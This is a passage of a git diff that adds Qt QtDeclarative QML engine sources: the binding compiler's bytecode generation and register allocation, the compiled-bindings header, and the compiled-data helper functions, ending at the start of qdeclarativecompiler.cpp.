+
+ type.reg = acquireReg(Instr::CleanupString);
+ if (type.reg == -1)
+ return false;
+
+ type.type = QMetaType::QString;
+
+ Instr add;
+ add.common.type = Instr::AddString;
+ add.binaryop.output = type.reg;
+ add.binaryop.src1 = (lhsTmp == -1)?lhs.reg:lhsTmp;
+ add.binaryop.src2 = (rhsTmp == -1)?rhs.reg:rhsTmp;
+ bytecode << add;
+
+ if (lhsTmp != -1) releaseReg(lhsTmp);
+ if (rhsTmp != -1) releaseReg(rhsTmp);
+ releaseReg(lhs.reg);
+ releaseReg(rhs.reg);
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::tryLogic(QDeclarativeJS::AST::Node *node)
+{
+ if (node->kind != AST::Node::Kind_BinaryExpression)
+ return false;
+
+ AST::BinaryExpression *expression = static_cast<AST::BinaryExpression *>(node);
+ if (expression->op == QSOperator::Gt ||
+ expression->op == QSOperator::Equal ||
+ expression->op == QSOperator::NotEqual)
+ return true;
+ else
+ return false;
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseLogic(QDeclarativeJS::AST::Node *node, Result &type)
+{
+ AST::BinaryExpression *expression = static_cast<AST::BinaryExpression *>(node);
+
+ Result lhs;
+ Result rhs;
+
+ if (!parseExpression(expression->left, lhs)) return false;
+ if (!parseExpression(expression->right, rhs)) return false;
+
+ type.reg = acquireReg();
+ if (type.reg == -1)
+ return false;
+
+ type.metaObject = 0;
+ type.type = QVariant::Bool;
+
+ if (lhs.type == QMetaType::QReal && rhs.type == QMetaType::QReal) {
+
+ Instr op;
+ if (expression->op == QSOperator::Gt)
+ op.common.type = Instr::GreaterThanReal;
+ else if (expression->op == QSOperator::Equal)
+ op.common.type = Instr::CompareReal;
+ else if (expression->op == QSOperator::NotEqual)
+ op.common.type = Instr::NotCompareReal;
+ else
+ return false;
+ op.binaryop.output = type.reg;
+ op.binaryop.src1 = lhs.reg;
+ op.binaryop.src2 = rhs.reg;
+ bytecode << op;
+
+
+ } else if (lhs.type == QMetaType::QString && rhs.type == QMetaType::QString) {
+
+ Instr op;
+ if (expression->op == QSOperator::Equal)
+ op.common.type = Instr::CompareString;
+ else if (expression->op == QSOperator::NotEqual)
+ op.common.type = Instr::NotCompareString;
+ else
+ return false;
+ op.binaryop.output = type.reg;
+ op.binaryop.src1 = lhs.reg;
+ op.binaryop.src2 = rhs.reg;
+ bytecode << op;
+
+ } else {
+ return false;
+ }
+
+ releaseReg(lhs.reg);
+ releaseReg(rhs.reg);
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::tryConditional(QDeclarativeJS::AST::Node *node)
+{
+ return (node->kind == AST::Node::Kind_ConditionalExpression);
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseConditional(QDeclarativeJS::AST::Node *node, Result &type)
+{
+ AST::ConditionalExpression *expression = static_cast<AST::ConditionalExpression *>(node);
+
+ AST::Node *test = expression->expression;
+ if (test->kind == AST::Node::Kind_NestedExpression)
+ test = static_cast<AST::NestedExpression*>(test)->expression;
+
+ Result etype;
+ if (!parseExpression(test, etype)) return false;
+
+ if (etype.type != QVariant::Bool)
+ return false;
+
+ Instr skip;
+ skip.common.type = Instr::Skip;
+ skip.skip.reg = etype.reg;
+ skip.skip.count = 0;
+ int skipIdx = bytecode.count();
+ bytecode << skip;
+
+ // Release to allow reuse of reg
+ releaseReg(etype.reg);
+
+ QSet<QString> preSubSet = subscriptionSet;
+
+ // int preConditionalSubscriptions = subscriptionSet.count();
+
+ Result ok;
+ if (!parseExpression(expression->ok, ok)) return false;
+ if (ok.unknownType) return false;
+
+ int skipIdx2 = bytecode.count();
+ skip.skip.reg = -1;
+ bytecode << skip;
+
+ // Release to allow reuse of reg in else path
+ releaseReg(ok.reg);
+ bytecode[skipIdx].skip.count = bytecode.count() - skipIdx - 1;
+
+ subscriptionSet = preSubSet;
+
+ Result ko;
+ if (!parseExpression(expression->ko, ko)) return false;
+ if (ko.unknownType) return false;
+
+ // Do not release reg here, so that its ownership passes to the caller
+ bytecode[skipIdx2].skip.count = bytecode.count() - skipIdx2 - 1;
+
+ if (ok != ko)
+ return false; // Must be same type and in same register
+
+ subscriptionSet = preSubSet;
+
+ if (!subscriptionNeutral(subscriptionSet, ok.subscriptionSet, ko.subscriptionSet))
+ return false; // Conditionals cannot introduce new subscriptions
+
+ type = ok;
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::tryConstant(QDeclarativeJS::AST::Node *node)
+{
+ return node->kind == AST::Node::Kind_TrueLiteral ||
+ node->kind == AST::Node::Kind_FalseLiteral ||
+ node->kind == AST::Node::Kind_NumericLiteral ||
+ node->kind == AST::Node::Kind_StringLiteral;
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseConstant(QDeclarativeJS::AST::Node *node, Result &type)
+{
+ type.metaObject = 0;
+ type.type = -1;
+ type.reg = acquireReg();
+ if (type.reg == -1)
+ return false;
+
+ if (node->kind == AST::Node::Kind_TrueLiteral) {
+ type.type = QVariant::Bool;
+ Instr instr;
+ instr.common.type = Instr::Bool;
+ instr.bool_value.reg = type.reg;
+ instr.bool_value.value = true;
+ bytecode << instr;
+ return true;
+ } else if (node->kind == AST::Node::Kind_FalseLiteral) {
+ type.type = QVariant::Bool;
+ Instr instr;
+ instr.common.type = Instr::Bool;
+ instr.bool_value.reg = type.reg;
+ instr.bool_value.value = false;
+ bytecode << instr;
+ return true;
+ } else if (node->kind == AST::Node::Kind_NumericLiteral) {
+ qreal value = qreal(static_cast<AST::NumericLiteral *>(node)->value);
+
+ if (qreal(float(value)) != value)
+ return false;
+
+ type.type = QMetaType::QReal;
+ Instr instr;
+ instr.common.type = Instr::Real;
+ instr.real_value.reg = type.reg;
+ instr.real_value.value = float(value);
+ bytecode << instr;
+ return true;
+ } else if (node->kind == AST::Node::Kind_StringLiteral) {
+ QString str = static_cast<AST::StringLiteral *>(node)->value->asString();
+ type.type = QMetaType::QString;
+ type.reg = registerLiteralString(str);
+ return true;
+ } else {
+ return false;
+ }
+}
+
+bool QDeclarativeBindingCompilerPrivate::tryMethod(QDeclarativeJS::AST::Node *node)
+{
+ return node->kind == AST::Node::Kind_CallExpression;
+}
+
+bool QDeclarativeBindingCompilerPrivate::parseMethod(QDeclarativeJS::AST::Node *node, Result &result)
+{
+ AST::CallExpression *expr = static_cast<AST::CallExpression *>(node);
+
+ QStringList name;
+ if (!buildName(name, expr->base))
+ return false;
+
+ if (name.count() != 2 || name.at(0) != QLatin1String("Math"))
+ return false;
+
+ QString method = name.at(1);
+
+ AST::ArgumentList *args = expr->arguments;
+ if (!args) return false;
+ AST::ExpressionNode *arg0 = args->expression;
+ args = args->next;
+ if (!args) return false;
+ AST::ExpressionNode *arg1 = args->expression;
+ if (args->next != 0) return false;
+ if (!arg0 || !arg1) return false;
+
+ Result r0;
+ if (!parseExpression(arg0, r0)) return false;
+ Result r1;
+ if (!parseExpression(arg1, r1)) return false;
+
+ if (r0.type != QMetaType::QReal || r1.type != QMetaType::QReal)
+ return false;
+
+ Instr op;
+ if (method == QLatin1String("max")) {
+ op.common.type = Instr::MaxReal;
+ } else if (method == QLatin1String("min")) {
+ op.common.type = Instr::MinReal;
+ } else {
+ return false;
+ }
+ // We release early to reuse registers
+ releaseReg(r0.reg);
+ releaseReg(r1.reg);
+
+ op.binaryop.output = acquireReg();
+ if (op.binaryop.output == -1)
+ return false;
+
+ op.binaryop.src1 = r0.reg;
+ op.binaryop.src2 = r1.reg;
+ bytecode << op;
+
+ result.type = QMetaType::QReal;
+ result.reg = op.binaryop.output;
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::buildName(QStringList &name,
+ QDeclarativeJS::AST::Node *node,
+ QList<QDeclarativeJS::AST::ExpressionNode *> *nodes)
+{
+ if (node->kind == AST::Node::Kind_IdentifierExpression) {
+ name << static_cast<AST::IdentifierExpression*>(node)->name->asString();
+ if (nodes) *nodes << static_cast<AST::IdentifierExpression*>(node);
+ } else if (node->kind == AST::Node::Kind_FieldMemberExpression) {
+ AST::FieldMemberExpression *expr =
+ static_cast<AST::FieldMemberExpression *>(node);
+
+ if (!buildName(name, expr->base, nodes))
+ return false;
+
+ name << expr->name->asString();
+ if (nodes) *nodes << expr;
+ } else {
+ return false;
+ }
+
+ return true;
+}
+
+bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo, int reg,
+ int idx, const QStringList &subName,
+ QDeclarativeJS::AST::ExpressionNode *node)
+{
+ QMetaProperty prop = mo->property(idx);
+ rv.metaObject = 0;
+ rv.type = 0;
+
+ //XXX binding optimizer doesn't handle properties with a revision
+ if (prop.revision() > 0)
+ return false;
+
+ int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx);
+
+ Instr fetch;
+
+ if (!qmlDisableFastProperties() && fastFetchIndex != -1) {
+ fetch.common.type = Instr::FetchAndSubscribe;
+ fetch.fetchAndSubscribe.objectReg = reg;
+ fetch.fetchAndSubscribe.output = reg;
+ fetch.fetchAndSubscribe.function = fastFetchIndex;
+ fetch.fetchAndSubscribe.subscription = subscriptionIndex(subName);
+ fetch.fetchAndSubscribe.exceptionId = exceptionId(node);
+ } else {
+ if (subscription(subName, &rv) && prop.hasNotifySignal() && prop.notifySignalIndex() != -1) {
+ Instr sub;
+ sub.common.type = Instr::Subscribe;
+ sub.subscribe.offset = subscriptionIndex(subName);
+ sub.subscribe.reg = reg;
+ sub.subscribe.index = prop.notifySignalIndex();
+ bytecode << sub;
+ }
+
+ fetch.common.type = Instr::Fetch;
+ fetch.fetch.objectReg = reg;
+ fetch.fetch.index = idx;
+ fetch.fetch.output = reg;
+ fetch.fetch.exceptionId = exceptionId(node);
+ }
+
+ rv.type = prop.userType();
+ rv.metaObject = engine->metaObjectForType(rv.type);
+ rv.reg = reg;
+
+ if (rv.type == QMetaType::QString) {
+ int tmp = acquireReg();
+ if (tmp == -1)
+ return false;
+ Instr copy;
+ copy.common.type = Instr::Copy;
+ copy.copy.reg = tmp;
+ copy.copy.src = reg;
+ bytecode << copy;
+ releaseReg(tmp);
+ fetch.fetch.objectReg = tmp;
+
+ Instr setup;
+ setup.common.type = Instr::NewString;
+ setup.construct.reg = reg;
+ bytecode << setup;
+ registerCleanup(reg, Instr::CleanupString);
+ }
+
+ bytecode << fetch;
+
+ if (!rv.metaObject &&
+ rv.type != QMetaType::QReal &&
+ rv.type != QMetaType::Int &&
+ rv.type != QMetaType::Bool &&
+ rv.type != qMetaTypeId<QDeclarativeAnchorLine>() &&
+ rv.type != QMetaType::QString) {
+ rv.metaObject = 0;
+ rv.type = 0;
+ return false; // Unsupported type (string not supported yet);
+ }
+
+ return true;
+}
+
+void QDeclarativeBindingCompilerPrivate::registerCleanup(int reg, int cleanup, int cleanupType)
+{
+ registerCleanups.insert(reg, qMakePair(cleanup, cleanupType));
+}
+
+int QDeclarativeBindingCompilerPrivate::acquireReg(int cleanup, int cleanupType)
+{
+ for (int ii = 0; ii < 32; ++ii) {
+ if (!(registers & (1 << ii))) {
+ registers |= (1 << ii);
+
+ if (cleanup != Instr::Noop)
+ registerCleanup(ii, cleanup, cleanupType);
+
+ return ii;
+ }
+ }
+ return -1;
+}
+
+void QDeclarativeBindingCompilerPrivate::releaseReg(int reg)
+{
+ Q_ASSERT(reg >= 0 && reg <= 31);
+
+ if (registerCleanups.contains(reg)) {
+ QPair<int, int> c = registerCleanups[reg];
+ registerCleanups.remove(reg);
+ Instr cleanup;
+ cleanup.common.type = (quint8)c.first;
+ cleanup.cleanup.reg = reg;
+ bytecode << cleanup;
+ }
+
+ quint32 mask = 1 << reg;
+ registers &= ~mask;
+}
+
+// Returns a reg
+int QDeclarativeBindingCompilerPrivate::registerLiteralString(const QString &str)
+{
+ QByteArray strdata((const char *)str.constData(), str.length() * sizeof(QChar));
+ int offset = data.count();
+ data += strdata;
+
+ int reg = acquireReg(Instr::CleanupString);
+ if (reg == -1)
+ return false;
+
+ Instr string;
+ string.common.type = Instr::String;
+ string.string_value.reg = reg;
+ string.string_value.offset = offset;
+ string.string_value.length = str.length();
+ bytecode << string;
+
+ return reg;
+}
+
+// Returns an identifier offset
+int QDeclarativeBindingCompilerPrivate::registerString(const QString &string)
+{
+ Q_ASSERT(!string.isEmpty());
+
+ QHash<QString, QPair<int, int> >::ConstIterator iter = registeredStrings.find(string);
+
+ if (iter == registeredStrings.end()) {
+ quint32 len = string.length();
+ QByteArray lendata((const char *)&len, sizeof(quint32));
+ QByteArray strdata((const char *)string.constData(), string.length() * sizeof(QChar));
+ strdata.prepend(lendata);
+ int rv = data.count();
+ data += strdata;
+
+ iter = registeredStrings.insert(string, qMakePair(registeredStrings.count(), rv));
+ }
+
+ Instr reg;
+ reg.common.type = Instr::InitString;
+ reg.initstring.offset = iter->first;
+ reg.initstring.dataIdx = iter->second;
+ bytecode << reg;
+ return reg.initstring.offset;
+}
+
+bool QDeclarativeBindingCompilerPrivate::subscription(const QStringList &sub, Result *result)
+{
+ QString str = sub.join(QLatin1String("."));
+ result->subscriptionSet.insert(str);
+
+ if (subscriptionSet.contains(str)) {
+ return false;
+ } else {
+ subscriptionSet.insert(str);
+ return true;
+ }
+}
+
+int QDeclarativeBindingCompilerPrivate::subscriptionIndex(const QStringList &sub)
+{
+ QString str = sub.join(QLatin1String("."));
+ QHash<QString, int>::ConstIterator iter = subscriptionIds.find(str);
+ if (iter == subscriptionIds.end())
+ iter = subscriptionIds.insert(str, subscriptionIds.count());
+ usedSubscriptionIds.insert(*iter);
+ return *iter;
+}
+
+/*
+ Returns true if lhs contains no subscriptions that aren't also in base or rhs AND
+ rhs contains no subscriptions that aren't also in base or lhs.
+*/
+bool QDeclarativeBindingCompilerPrivate::subscriptionNeutral(const QSet<QString> &base,
+ const QSet<QString> &lhs,
+ const QSet<QString> &rhs)
+{
+ QSet<QString> difflhs = lhs;
+ difflhs.subtract(rhs);
+ QSet<QString> diffrhs = rhs;
+ diffrhs.subtract(lhs);
+
+ difflhs.unite(diffrhs);
+ difflhs.subtract(base);
+
+ return difflhs.isEmpty();
+}
+
+quint8 QDeclarativeBindingCompilerPrivate::exceptionId(QDeclarativeJS::AST::ExpressionNode *n)
+{
+ quint8 rv = 0xFF;
+ if (n && exceptions.count() < 0xFF) {
+ rv = (quint8)exceptions.count();
+ QDeclarativeJS::AST::SourceLocation l = n->firstSourceLocation();
+ quint64 e = l.startLine;
+ e <<= 32;
+ e |= l.startColumn;
+ exceptions.append(e);
+ }
+ return rv;
+}
+
+QDeclarativeBindingCompiler::QDeclarativeBindingCompiler()
+: d(new QDeclarativeBindingCompilerPrivate)
+{
+}
+
+QDeclarativeBindingCompiler::~QDeclarativeBindingCompiler()
+{
+ delete d; d = 0;
+}
+
+/*
+Returns true if any bindings were compiled.
+*/
+bool QDeclarativeBindingCompiler::isValid() const
+{
+ return !d->committed.bytecode.isEmpty();
+}
+
+/*
+-1 on failure, otherwise the binding index to use.
+*/
+int QDeclarativeBindingCompiler::compile(const Expression &expression, QDeclarativeEnginePrivate *engine)
+{
+ if (!expression.expression.asAST()) return false;
+
+ if (!qmlExperimental() && expression.property->isValueTypeSubProperty)
+ return -1;
+
+ if (qmlDisableOptimizer())
+ return -1;
+
+ d->context = expression.context;
+ d->component = expression.component;
+ d->destination = expression.property;
+ d->ids = expression.ids;
+ d->imports = expression.imports;
+ d->engine = engine;
+
+ if (d->compile(expression.expression.asAST())) {
+ return d->commitCompile();
+ } else {
+ return -1;
+ }
+}
+
+
+QByteArray QDeclarativeBindingCompilerPrivate::buildSignalTable() const
+{
+ QHash<int, QList<int> > table;
+
+ for (int ii = 0; ii < committed.count(); ++ii) {
+ const QSet<int> &deps = committed.dependencies.at(ii);
+ for (QSet<int>::ConstIterator iter = deps.begin(); iter != deps.end(); ++iter)
+ table[*iter].append(ii);
+ }
+
+ QVector<quint32> header;
+ QVector<quint32> data;
+ for (int ii = 0; ii < committed.subscriptionIds.count(); ++ii) {
+ header.append(committed.subscriptionIds.count() + data.count());
+ const QList<int> &bindings = table[ii];
+ data.append(bindings.count());
+ for (int jj = 0; jj < bindings.count(); ++jj)
+ data.append(bindings.at(jj));
+ }
+ header << data;
+
+ return QByteArray((const char *)header.constData(), header.count() * sizeof(quint32));
+}
+
+QByteArray QDeclarativeBindingCompilerPrivate::buildExceptionData() const
+{
+ QByteArray rv;
+ rv.resize(committed.exceptions.count() * sizeof(quint64));
+ ::memcpy(rv.data(), committed.exceptions.constData(), rv.size());
+ return rv;
+}
+
+/*
+Returns the compiled program.
+*/
+QByteArray QDeclarativeBindingCompiler::program() const
+{
+ QByteArray programData;
+
+ if (isValid()) {
+ Program prog;
+ prog.bindings = d->committed.count();
+
+ QVector<Instr> bytecode;
+ Instr skip;
+ skip.common.type = Instr::Skip;
+ skip.skip.reg = -1;
+ for (int ii = 0; ii < d->committed.count(); ++ii) {
+ skip.skip.count = d->committed.count() - ii - 1;
+ skip.skip.count+= d->committed.offsets.at(ii);
+ bytecode << skip;
+ }
+ bytecode << d->committed.bytecode;
+
+ QByteArray data = d->committed.data;
+ while (data.count() % 4) data.append('\0');
+ prog.signalTableOffset = data.count();
+ data += d->buildSignalTable();
+ while (data.count() % 4) data.append('\0');
+ prog.exceptionDataOffset = data.count();
+ data += d->buildExceptionData();
+
+ prog.dataLength = 4 * ((data.size() + 3) / 4);
+ prog.subscriptions = d->committed.subscriptionIds.count();
+ prog.identifiers = d->committed.registeredStrings.count();
+ prog.instructionCount = bytecode.count();
+ prog.compiled = false;
+ int size = sizeof(Program) + bytecode.count() * sizeof(Instr);
+ size += prog.dataLength;
+
+ programData.resize(size);
+ memcpy(programData.data(), &prog, sizeof(Program));
+ if (prog.dataLength)
+ memcpy((char *)((Program *)programData.data())->data(), data.constData(),
+ data.size());
+ memcpy((char *)((Program *)programData.data())->instructions(), bytecode.constData(),
+ bytecode.count() * sizeof(Instr));
+ }
+
+ return programData;
+}
+
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecompiledbindings_p.h b/src/declarative/qml/qdeclarativecompiledbindings_p.h
new file mode 100644
index 00000000..bc954c7c
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecompiledbindings_p.h
@@ -0,0 +1,116 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEBINDINGOPTIMIZATIONS_P_H
+#define QDECLARATIVEBINDINGOPTIMIZATIONS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativebinding_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+struct QDeclarativeBindingCompilerPrivate;
+class QDeclarativeBindingCompiler
+{
+public:
+ QDeclarativeBindingCompiler();
+ ~QDeclarativeBindingCompiler();
+
+ // Returns true if bindings were compiled
+ bool isValid() const;
+
+ struct Expression
+ {
+ QDeclarativeParser::Object *component;
+ QDeclarativeParser::Object *context;
+ QDeclarativeParser::Property *property;
+ QDeclarativeParser::Variant expression;
+ QHash<QString, QDeclarativeParser::Object *> ids;
+ QDeclarativeImports imports;
+ };
+
+ // -1 on failure, otherwise the binding index to use
+ int compile(const Expression &, QDeclarativeEnginePrivate *);
+
+ // Returns the compiled program
+ QByteArray program() const;
+
+ static void dump(const QByteArray &);
+private:
+ QDeclarativeBindingCompilerPrivate *d;
+};
+
+class QDeclarativeCompiledBindingsPrivate;
+class QDeclarativeCompiledBindings : public QObject, public QDeclarativeAbstractExpression, public QDeclarativeRefCount
+{
+public:
+ QDeclarativeCompiledBindings(const char *program, QDeclarativeContextData *context, QDeclarativeRefCount *);
+ virtual ~QDeclarativeCompiledBindings();
+
+ QDeclarativeAbstractBinding *configBinding(int index, QObject *target, QObject *scope, int property);
+
+protected:
+ int qt_metacall(QMetaObject::Call, int, void **);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeCompiledBindings)
+ Q_DECLARE_PRIVATE(QDeclarativeCompiledBindings)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEBINDINGOPTIMIZATIONS_P_H
+
diff --git a/src/declarative/qml/qdeclarativecompileddata.cpp b/src/declarative/qml/qdeclarativecompileddata.cpp
new file mode 100644
index 00000000..81d809bf
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecompileddata.cpp
@@ -0,0 +1,255 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativecompiler_p.h"
+#include "qdeclarativeengine.h"
+#include "qdeclarativecomponent.h"
+#include "private/qdeclarativecomponent_p.h"
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativecontext_p.h"
+
+#include <QtCore/qdebug.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+int QDeclarativeCompiledData::pack(const char *data, size_t size)
+{
+ const char *p = packData.constData();
+ unsigned int ps = packData.size();
+
+ for (unsigned int ii = 0; (ii + size) <= ps; ii += sizeof(int)) {
+ if (0 == ::memcmp(p + ii, data, size))
+ return ii;
+ }
+
+ int rv = packData.size();
+ packData.append(data, size);
+ return rv;
+}
+
+int QDeclarativeCompiledData::indexForString(const QString &data)
+{
+ int idx = primitives.indexOf(data);
+ if (idx == -1) {
+ idx = primitives.count();
+ primitives << data;
+ }
+ return idx;
+}
+
+int QDeclarativeCompiledData::indexForByteArray(const QByteArray &data)
+{
+ int idx = datas.indexOf(data);
+ if (idx == -1) {
+ idx = datas.count();
+ datas << data;
+ }
+ return idx;
+}
+
+int QDeclarativeCompiledData::indexForUrl(const QUrl &data)
+{
+ int idx = urls.indexOf(data);
+ if (idx == -1) {
+ idx = urls.count();
+ urls << data;
+ }
+ return idx;
+}
+
+int QDeclarativeCompiledData::indexForFloat(float *data, int count)
+{
+ Q_ASSERT(count > 0);
+
+ for (int ii = 0; ii <= floatData.count() - count; ++ii) {
+ bool found = true;
+ for (int jj = 0; jj < count; ++jj) {
+ if (floatData.at(ii + jj) != data[jj]) {
+ found = false;
+ break;
+ }
+ }
+
+ if (found)
+ return ii;
+ }
+
+ int idx = floatData.count();
+ for (int ii = 0; ii < count; ++ii)
+ floatData << data[ii];
+
+ return idx;
+}
+
+int QDeclarativeCompiledData::indexForInt(int *data, int count)
+{
+ Q_ASSERT(count > 0);
+
+ for (int ii = 0; ii <= intData.count() - count; ++ii) {
+ bool found = true;
+ for (int jj = 0; jj < count; ++jj) {
+ if (intData.at(ii + jj) != data[jj]) {
+ found = false;
+ break;
+ }
+ }
+
+ if (found)
+ return ii;
+ }
+
+ int idx = intData.count();
+ for (int ii = 0; ii < count; ++ii)
+ intData << data[ii];
+
+ return idx;
+}
+
+int QDeclarativeCompiledData::indexForLocation(const QDeclarativeParser::Location &l)
+{
+ // ### FIXME
+ int rv = locations.count();
+ locations << l;
+ return rv;
+}
+
+int QDeclarativeCompiledData::indexForLocation(const QDeclarativeParser::LocationSpan &l)
+{
+ // ### FIXME
+ int rv = locations.count();
+ locations << l.start << l.end;
+ return rv;
+}
+
+QDeclarativeCompiledData::QDeclarativeCompiledData(QDeclarativeEngine *engine)
+: QDeclarativeCleanup(engine), importCache(0), root(0), rootPropertyCache(0)
+{
+}
+
+QDeclarativeCompiledData::~QDeclarativeCompiledData()
+{
+ for (int ii = 0; ii < types.count(); ++ii) {
+ if (types.at(ii).component)
+ types.at(ii).component->release();
+ if (types.at(ii).typePropertyCache)
+ types.at(ii).typePropertyCache->release();
+ }
+
+ for (int ii = 0; ii < propertyCaches.count(); ++ii)
+ propertyCaches.at(ii)->release();
+
+ for (int ii = 0; ii < contextCaches.count(); ++ii)
+ contextCaches.at(ii)->release();
+
+ if (importCache)
+ importCache->release();
+
+ if (rootPropertyCache)
+ rootPropertyCache->release();
+
+ qDeleteAll(cachedPrograms);
+ qDeleteAll(cachedClosures);
+}
+
+void QDeclarativeCompiledData::clear()
+{
+ qDeleteAll(cachedPrograms);
+ qDeleteAll(cachedClosures);
+ for (int ii = 0; ii < cachedClosures.count(); ++ii)
+ cachedClosures[ii] = 0;
+ for (int ii = 0; ii < cachedPrograms.count(); ++ii)
+ cachedPrograms[ii] = 0;
+}
+
+const QMetaObject *QDeclarativeCompiledData::TypeReference::metaObject() const
+{
+ if (type) {
+ return type->metaObject();
+ } else {
+ Q_ASSERT(component);
+ return component->root;
+ }
+}
+
+/*!
+Returns the property cache, if one alread exists. The cache is not referenced.
+*/
+QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::propertyCache() const
+{
+ if (type)
+ return typePropertyCache;
+ else
+ return component->rootPropertyCache;
+}
+
+/*!
+Returns the property cache, creating one if it doesn't already exist. The cache is not referenced.
+*/
+QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::createPropertyCache(QDeclarativeEngine *engine)
+{
+ if (typePropertyCache) {
+ return typePropertyCache;
+ } else if (type) {
+ typePropertyCache = QDeclarativeEnginePrivate::get(engine)->cache(type->metaObject());
+ typePropertyCache->addref();
+ return typePropertyCache;
+ } else {
+ return component->rootPropertyCache;
+ }
+}
+
+
+void QDeclarativeCompiledData::dumpInstructions()
+{
+ if (!name.isEmpty())
+ qWarning() << name;
+ qWarning().nospace() << "Index\tLine\tOperation\t\tData1\tData2\tData3\tComments";
+ qWarning().nospace() << "-------------------------------------------------------------------------------";
+ for (int ii = 0; ii < bytecode.count(); ++ii) {
+ dump(&bytecode[ii], ii);
+ }
+ qWarning().nospace() << "-------------------------------------------------------------------------------";
+}
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp
new file mode 100644
index 00000000..25e67ce5
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecompiler.cpp
@@ -0,0 +1,3129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativecompiler_p.h"
+
